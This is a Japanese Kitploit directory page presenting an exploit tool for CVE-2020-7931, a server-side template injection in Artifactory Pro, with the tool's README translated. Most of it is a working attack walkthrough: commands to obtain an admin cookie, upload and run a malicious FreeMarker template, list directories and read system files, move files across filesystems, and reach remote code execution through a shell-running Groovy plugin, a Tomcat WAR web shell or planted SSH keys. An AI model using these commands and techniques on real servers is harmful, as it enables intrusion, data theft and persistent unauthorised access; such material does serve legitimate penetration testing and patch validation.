Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2020-7931 — server side template injection を使用した Artifactory のハッキング | Kitploit
ツール/GitHubGitHub/gquere/cve-2020-7931
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセスツールペイロード開発
GitHubgquere/cve-2020-7931

CVE-2020-7931

server side template injection を使用した Artifactory のハッキング

リポジトリを見る
50156年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2020-7931: Artifactory Pro における SSTI エクスプロイト

CVE-2020-7931 は、Artifactory における意図的な設定ミスの脆弱性であり、攻撃者が FreeMarker テンプレート から サーバーサイドテンプレートインジェクション を実行することを可能にします。

この脆弱性は Atredis の Ryan Hanson によって発見され、2019年後半にすべての影響を受けるバージョンに対して修正されました。この脆弱性は Artifactory の Pro バージョンでのみ機能します。他のバージョンにはテンプレート機能がないためです。

このリポジトリには スクリプト と テンプレート が含まれています。

  • Python スクリプトは、テンプレートペイロードのアップロード、デプロイ、実行を自動化するラッパーです。
  • テンプレートは、ファイルシステムと対話し、リモートコード実行に至る多くのプリミティブ(読み取り、リスト、書き込みなど)を実装しています。

テンプレートの内容

テンプレートは最初の GET パラメータを取得して、実行するアクションを決定します。有効なアクションは次のとおりです:

root@kitploit:~
info                                    Returns info about the current configuration
read <filepath>                         Reads a file, as is
read_bytes <filepath>                   Reads a file binarily as integers
list <dirpath>                          List a directory contents
create_file <filepath>                  Create an empty file
mkdir <dirpath>                         Create a folder
delete <filepath>                       Delete a file or empty folder
move <src> <dst>                        Move a file (*)
copy <scr_path> <src_file> <dst>        Copy a file to the application's web root. Pay attention to the quirky arguments (**)

(*): 移動には Java の renameTo メソッド を使用しますが、異なるファイルシステム間では機能しません。異なるファイルシステム間で移動を行うには、コピーしてから移動する必要があります。詳細は以下を参照してください。

(**): ソースはベースパスとファイル名に分割する必要があります。宛先は Artifactory の Web アプリケーションルートパスからの相対パスです。例:/opt/jfrog/artifactory/tomcat/webapps/artifactory/

スクリプトの使い方

root@kitploit:~
usage: artifactory_CVE-2020-7931.py [-h] -H HOST [-u USER] [-p PASSWORD]
                                    [-c COOKIE] [-U UPLOAD] [-g]
                                    [-d DROP_TEMPLATE] [-e EXEC_TEMPLATE] [-r]
                                    [-R REPOSITORY_NAME]

optional arguments:
  -h, --help            show this help message and exit
  -H HOST, --host HOST
  -u USER, --user USER
  -p PASSWORD, --password PASSWORD
  -c COOKIE, --cookie COOKIE
  -U UPLOAD, --upload UPLOAD
  -g, --get_cookie
  -d DROP_TEMPLATE, --drop_template DROP_TEMPLATE
  -e EXEC_TEMPLATE, --exec_template EXEC_TEMPLATE
  -r, --reload_plugins
  -R REPOSITORY_NAME, --repository_name REPOSITORY_NAME
                        Default: example-repo-local

クッキーの取得と設定

root@kitploit:~
export cookie=$(./artifactory_CVE-2020-7931.py -H http://localhost:8081 -g -u admin -p password | grep '-') && echo $cookie

ファイルのアップロード

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -U sample.groovy

テンプレートのデプロイ

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -d sample.xml

テンプレートの実行

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml list /etc/
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml read /etc/password

マウントポイント間でのファイルのコピー

前述のとおり、renameTo() は異なるファイルシステム間では機能しません。これをエミュレートするには、まずファイルをコピーしてから移動します(すぐに実行してください。そうしないと Artifactory がクラッシュする可能性があります!):

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml copy /var/opt/jfrog/artifactory/data/tmp/artifactory-uploads/ bla /bla (***)
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -e sample.xml move /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla /etc/bla

(***): 前に説明したように、ここで /bla は実際には /opt/jfrog/artifactory/tomcat/webapps/artifactory/bla を指します。これは root.write() が必ず現在のアプリケーションの Web ルートに書き込むためです。

これにより、アーティファクトを別のファイルシステムに保存している設定を悪用できます(これは適切な方法です!)。

リモートコード実行の取得

デフォルトの Artifactory インストールではクラスをインスタンス化できないため、通常の freemarker.template.utility.Execute トリック は機能しません。

ファイルシステムを操作するだけでリモートコード実行を取得する方法は他にもいくつかあります:

  • ユーザーの authorized_keys ファイルに公開鍵を追加する。ただし、さまざまな理由で機能しない場合があります(SSH がない、PubKey 認証がない、ユーザーのホームディレクトリではなく /etc/ssh/authorized_keys を参照するように設定されているなど)。
  • Groovy プラグインの実行
  • Web シェルを実装する Tomcat サーブレットの起動

Groovy プラグインの実行

シェル実行を行う Groovy プラグインの例を以下に示します(より詳細な例はこちら):

root@kitploit:~
def proc = "ls -la /etc".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

プラグインはプラグインパス /var/opt/jfrog/artifactory/etc/plugins/ に配置し、Artifactory 管理者権限 を必要とする API 呼び出し を使用してリロードする必要があります:

root@kitploit:~
./artifactory_CVE-2020-7931.py -H http://localhost:8081/ -c $cookie -r

Tomcat サーブレットの起動 (.war ファイルのデプロイ)

Web シェルを実装する Tomcat サーブレット です。

WAR ファイルは Tomcat の webapps パス /opt/jfrog/artifactory/tomcat/webapps/ に配置する必要があります。デフォルトでは、WAR ファイルのデプロイは自動で行われ、Artifactory インスタンスの隣に別の Web アプリケーション(例:http://localhost:8081/sample/)が起動します。

この方法は Artifactory 管理者権限を必要とせず、コマンドをその場で実行するのがより簡単であるため、推奨される方法です。

ツールをダウンロード